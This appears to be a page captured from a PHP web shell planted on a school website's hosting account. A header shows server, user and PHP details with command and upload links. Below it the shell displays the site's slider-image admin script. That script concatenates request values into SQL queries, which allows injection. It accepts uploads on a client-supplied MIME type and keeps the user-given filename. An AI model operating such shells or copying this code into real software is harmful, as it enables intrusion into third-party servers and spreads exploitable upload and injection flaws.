|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.60 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/code/img/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$flag=$_REQUEST["flag"];
include('../link/databaseconnection.php');
if(!$flag)
{
header("location:http://gcschool.co.in");
}
switch($flag)
{
case 1:
$name=$_FILES['image']['name'];
$tempname=$_FILES['image']['tmp_name'];
$size=$_FILES['image']['size'];
$location="sliderimage/";
$type=$_FILES['image']['type'];
$date=date("d/m/y");
date_default_timezone_set("asia/kolkata");
$time=date("h:i:sa");
$datetime=$date." ".$time;
$size=$size/1024;
if($name!="")
{
if($size<=90)
{
if($type=="image/jpg" || $type=="image/jpeg" || $type=="image/png")
{
$ins= "insert into slider(image,datetime) value('$name','$datetime')";
if(mysqli_query($conn,$ins))
{
move_uploaded_file($tempname,$location.$name);
echo"Successfully Uploaded";
}
else
{
echo"not upload";
}
}
else
{
echo"Image only jpg,jpeg,png upload";
}
}
else
{
echo"Image size not greater 90mb ";
}
}
else
{
echo"Please upload Image";
}
break;
case 2:
$sel="select * from slider order by id desc";
$res=mysqli_query($conn,$sel);
?>
<div class="table-responsive">
<table class="table table-stript">
<tr>
<th>Sr.no</th><th>Image</th><th>Delete</th>
</tr>
<?php
$s=1;
while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
?>
<tr>
<td><?php echo $s;?></td><td><img src="../code/sliderimage/<?php echo $row['image'];?>"height="150px" width="300px"></td><td><a href="javasript:;" onclick="deleteimg(<?php echo $row['id'];?>)"><span class="glyphicon glyphicon-trash"></span></a></td>
</tr>
<?php
$s++;
}
?>
</table>
</div>
<?php
break;
case 3:
$id1=$_POST['rowid'];
$del="delete from slider where id='$id1'";
$sel1="select * from slider order by id desc";
$res1=mysqli_query($conn,$sel1);
$row=mysqli_fetch_array($res1,MYSQLI_BOTH);
$image=$row['image'];
$location="../code/sliderimage/".$image;
if(mysqli_query($conn,$del))
{
unlink($location);
echo("Deleted Successfully");
}
else
{
echo"not Delete";
}
break;
}
?>